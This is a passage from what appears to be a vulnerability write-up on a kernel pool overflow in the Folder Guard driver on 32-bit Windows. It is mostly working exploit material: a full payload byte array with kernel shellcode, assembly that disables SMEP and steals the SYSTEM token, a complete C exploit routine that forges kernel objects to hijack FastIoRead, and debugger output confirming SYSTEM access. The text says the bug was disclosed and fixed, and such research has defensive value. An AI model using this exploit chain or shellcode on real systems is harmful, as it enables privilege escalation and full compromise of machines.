   +0x014 SecurityDescriptor : (null) 
   +0x018 Body             : _QUAD

We need to preserve the structre and some values of the pool header and the object header of the file object at 0x864e9dd8. Also, as it was said before, we need to mark the object with special values in the object header. The following fgp file does the job:

unsigned char Payload[1276] = {
    0x46, 0x47, 0x50, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x02, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x42, 0xC0, 0x27, 0x00, 0x43, 0x00, 0x3A, 0x00,
    0x7C, 0x00, 0x4C, 0x00, 0x50, 0x00, 0x50, 0x00, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00,
    //POOL_HEADER
    0x56, 0x00, 0x17, 0x04, 0x46, 0x69, 0x6C, 0xE5,
    //OBJECT OPTIONAL HEADERS
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    //OBJECT_HEADER
    0x22, 0x22, 0x00, 0x00, 0x22, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x00, 0x04, 0x40,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    //BODY, +0x2F0

    0xCC, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x59, 0x83, 0xE9, 0x06, 0x0F, 0x20, 0xE0, 0x0F, 0xBA, 0xF0,
    0x14, 0x0F, 0x22, 0xE0, 0xFF, 0x51, 0x27, 0x8B, 0x44, 0x24, 0x1C, 0x31, 0xD2, 0x89, 0x10, 0x89,
    0x50, 0x04, 0xB0, 0x01, 0xC2, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x91, 0x00, 0x52, 0x22,
    0xD2, 0x9F, 0x92, 0xCC, 0x9B, 0x2E, 0x7F, 0x5F, 0xCC, 0xD1, 0x65, 0x0E, 0x36, 0x24, 0x10, 0x98,
    0xBA, 0x4B, 0x76, 0xE6, 0x6C, 0xCE, 0x57, 0x19, 0x16, 0x1B, 0x27, 0x9B, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

The payload starts in the body of the file object and contains shellcode that matches _FAST_IO_DISPATCH::FastIoRead prototype:

BOOLEAN
NTAPI
FastIoRead(
    _In_ PFILE_OBJECT FileObject,
    _In_ PLARGE_INTEGER FileOffset,
    _In_ ULONG Length,
    _In_ BOOLEAN Wait,
    _In_ ULONG LockKey,
    _Out_ PVOID Buffer,
    _Out_ PIO_STATUS_BLOCK IoStatus,
    _In_ PDEVICE_OBJECT DeviceObject);

The shellcode executes in kernel mode with CPL=0. It jumps to the procedure that copies pointer to SYSTEM token to the EPROCESS struct of the current process.

use32

 int3
 call @f
@@:
 pop ecx
 sub ecx, (@b - $$)
 mov eax, cr4
 btr eax, 20
 mov cr4, eax
 call dword [ecx + StealSysToken]
.Exit:
 mov eax,[esp + 1Ch]
 ;mov eax,[esp + 0x20]
 xor edx, edx
 mov [eax], edx
 mov [eax + 4], edx
 mov al, 1
 ret 0x20
 
StealSysToken: dd 0x0

The content of the file object after the overflow:

kd> db 865228d0 LB8
865228d0  56 00 17 04 46 69 6c e5-00 00 00 00 00 00 00 00  V...Fil.........
865228e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
865228f0  22 22 00 00 22 22 00 00-00 00 00 00 1c 00 04 40  "".."".........@
86522900  00 00 00 00 00 00 00 00-cc e8 00 00 00 00 59 83  ..............Y.
86522910  e9 06 0f 20 e0 0f ba f0-14 0f 22 e0 ff 51 27 8b  ... ......"..Q'.
86522920  44 24 1c 31 d2 89 10 89-50 04 b0 01 c2 20 00 c0  D$.1....P.... ..
86522930  d1 97 00 00 42 00 04 00-14 00 14 00 08 ce 7a 8f  ....B.........z.
86522940  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
86522950  00 00 00 00 01 00 04 00-00 00 00 00 5c 29 52 86  ............\)R.
86522960  5c 29 52 86 00 00 04 00-01 00 00 00 6c 29 52 86  \)R.........l)R.
86522970  6c 29 52 86 00 00 00 00-00 00 00 00 7c 29 52 86  l)R.........|)R.
86522980  7c 29 52 86 00 00 00 00                          |)R.....
kd> dt _object_header 865228f0
nt!_OBJECT_HEADER
   +0x000 PointerCount     : 0n8738 ;Mark
   +0x004 HandleCount      : 0n8738 ;Mark
   +0x004 NextToFree       : 0x00002222 Void
   +0x008 Lock             : _EX_PUSH_LOCK
   +0x00c TypeIndex        : 0x1c ''
   +0x00d TraceFlags       : 0 ''
   +0x00e InfoMask         : 0x4 ''
   +0x00f Flags            : 0x40 '@'
   +0x010 ObjectCreateInfo : (null) 
   +0x010 QuotaBlockCharged : (null) 
   +0x014 SecurityDescriptor : (null) 
   +0x018 Body             : _QUAD

Function Overlow listed above returns the address of the constructed object. We use the returned address to build_FAST_IO_DISPATCH function table:

    DROP_FILE_WITH_CHECK(Payload);
    r = Overflow(hDevice, &pPayload, &hObject);
    printf("Payload: %p\n", pPayload);
    CHECK_NULL_EXIT(pPayload);
    DeleteFiles();

    //offset nt!_FAST_IO_DISPATCH::FastIoRead
    p = (PVOID *)&FastIo[0x334 + 0x10];
    *p = pPayload;
    DROP_FILE_WITH_CHECK(FastIo);
    Overflow(hDevice, &pFastIo, &hObject);
    printf("FastIo: %p\n", pFastIo);
    CHECK_NULL_EXIT(pFastIo);
    DeleteFiles();

Similarly, we build the rest of objects in the chain and trigger execution by calling ReadFile API:

void exploit()
{
#define CHECK_NULL_EXIT(p) if ((p) == NULL) goto Exit;
#define CHECK_DROP_FILE(p) if ((p) == FALSE) { printf("DropFile failed\n"); goto Exit; }
#define DROP_FILE_WITH_CHECK(Data) { \
r = DropFile((Data), sizeof((Data))); \
if (r == FALSE) \
{ \
    printf("DropFile failed\n"); \
    goto Exit; \
} \
}
    BOOL   r;
    PVOID  *p;
    int    OldPriority;
    HANDLE hObject;
    HANDLE hDevice;
    PVOID  pPayload;
    PVOID  pFastIo;
    PVOID  pDrvObj;
    PVOID  pDevObj;
    PVOID  pFileObj;

    hDevice = CreateFileA("\\\\.\\FGUARD32", GENERIC_READ | GENERIC_WRITE, 7, 0, OPEN_EXISTING, 0, 0);
    if (hDevice == INVALID_HANDLE_VALUE)
    {
        printf("CreateFileA failed: %d", GetLastError());
        goto Exit;
    }

    OldPriority = GetThreadPriority(GetCurrentThread());
    SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST);

    DROP_FILE_WITH_CHECK(Payload);
    r = Overflow(hDevice, &pPayload, &hObject);
    printf("Payload: %p\n", pPayload);
    CHECK_NULL_EXIT(pPayload);
    DeleteFiles();

    //offset nt!_FAST_IO_DISPATCH::FastIoRead
    p = (PVOID *)&FastIo[0x2F4 + 0x8];
    *p = pPayload;
    DROP_FILE_WITH_CHECK(FastIo);
    Overflow(hDevice, &pFastIo, &hObject);
    printf("FastIo: %p\n", pFastIo);
    CHECK_NULL_EXIT(pFastIo);
    DeleteFiles();

    //offset nt!_DRIVER_OBJECT::FastIoDispatch
    p = (PVOID *)&DrvObj[0x2F4 + 0x28];
    *p = pFastIo;
    DROP_FILE_WITH_CHECK(DrvObj);
    r = Overflow(hDevice, &pDrvObj, &hObject);
    printf("DrvObj: %p\n", pDrvObj);
    CHECK_NULL_EXIT(pDrvObj);
    DeleteFiles();

    //offset nt!_DEVICE_OBJECT::DriverObject
    p = (PVOID *)&DevObj[0x2F4 + 0x8];
    *p = pDrvObj;
    DROP_FILE_WITH_CHECK(DevObj);
    r = Overflow(hDevice, &pDevObj, &hObject);
    printf("DevObj: %p\n", pDevObj);
    CHECK_NULL_EXIT(pDevObj);
    DeleteFiles();

    //offset nt!_FILE_OBJECT::DeviceObject
    p = (PVOID *)&FileObj[0x2F4 + 0x4];
    *p = pDevObj;
    DROP_FILE_WITH_CHECK(FileObj);
    r = Overflow(hDevice, &pFileObj, &hObject);
    printf("FileObj: %p\n", pFileObj);
    CHECK_NULL_EXIT(pFileObj);
    DeleteFiles();

    CHAR  Buff;
    DWORD BytesRead;
    ReadFile(hObject, &Buff, 1, &BytesRead, NULL);

    SetThreadPriority(GetCurrentThread(), OldPriority);

Exit:
    if (hDevice != INVALID_HANDLE_VALUE)
    {
        CloseHandle(hDevice);
    }
    return;
}

And finally get our code executed in kernel mode:

kd> k
 # ChildEBP RetAddr  
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 8b44bb74 82cb5002 0x8652291c
01 8b44bc08 82a85b2d nt!NtReadFile+0x2e9
02 8b44bc08 771b6bb4 nt!KiSystemServicePostCall
03 0016f964 771b5dec ntdll!KiFastSystemCallRet
04 0016f968 7535c4fa ntdll!NtReadFile+0xc
05 0016f9cc 767b9e0a KERNELBASE!ReadFile+0x118
06 0016fa14 00983207 kernel32!ReadFileImplementation+0xf0
07 0016fb90 0098353b E!exploit+0x337
08 0016fd14 00983f2e E!main+0xfb
09 0016fd28 00983d91 E!invoke_main+0x1e [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 78] 
0a 0016fd80 00983c2d E!__scrt_common_main_seh+0x151 [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 283] 
0b 0016fd88 00983fa8 E!__scrt_common_main+0xd [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 326] 
0c 0016fd90 767befac E!mainCRTStartup+0x8 [f:\dd\vctools\crt\vcstartup\src\startup\exe_main.cpp @ 17] 
0d 0016fd9c 771d3628 kernel32!BaseThreadInitThunk+0xe
0e 0016fddc 771d35fb ntdll!__RtlUserThreadStart+0x70
0f 0016fdf4 00000000 ntdll!_RtlUserThreadStart+0x1b

SYSTEM

[The end]

The vulnerability was reported to the vendor and fixed: https://www.winability.com/folder-guard-18-7-released/
Full source code of the exploit is available at github: https://github.com/zwclose/fguard-exploit/

❌
❌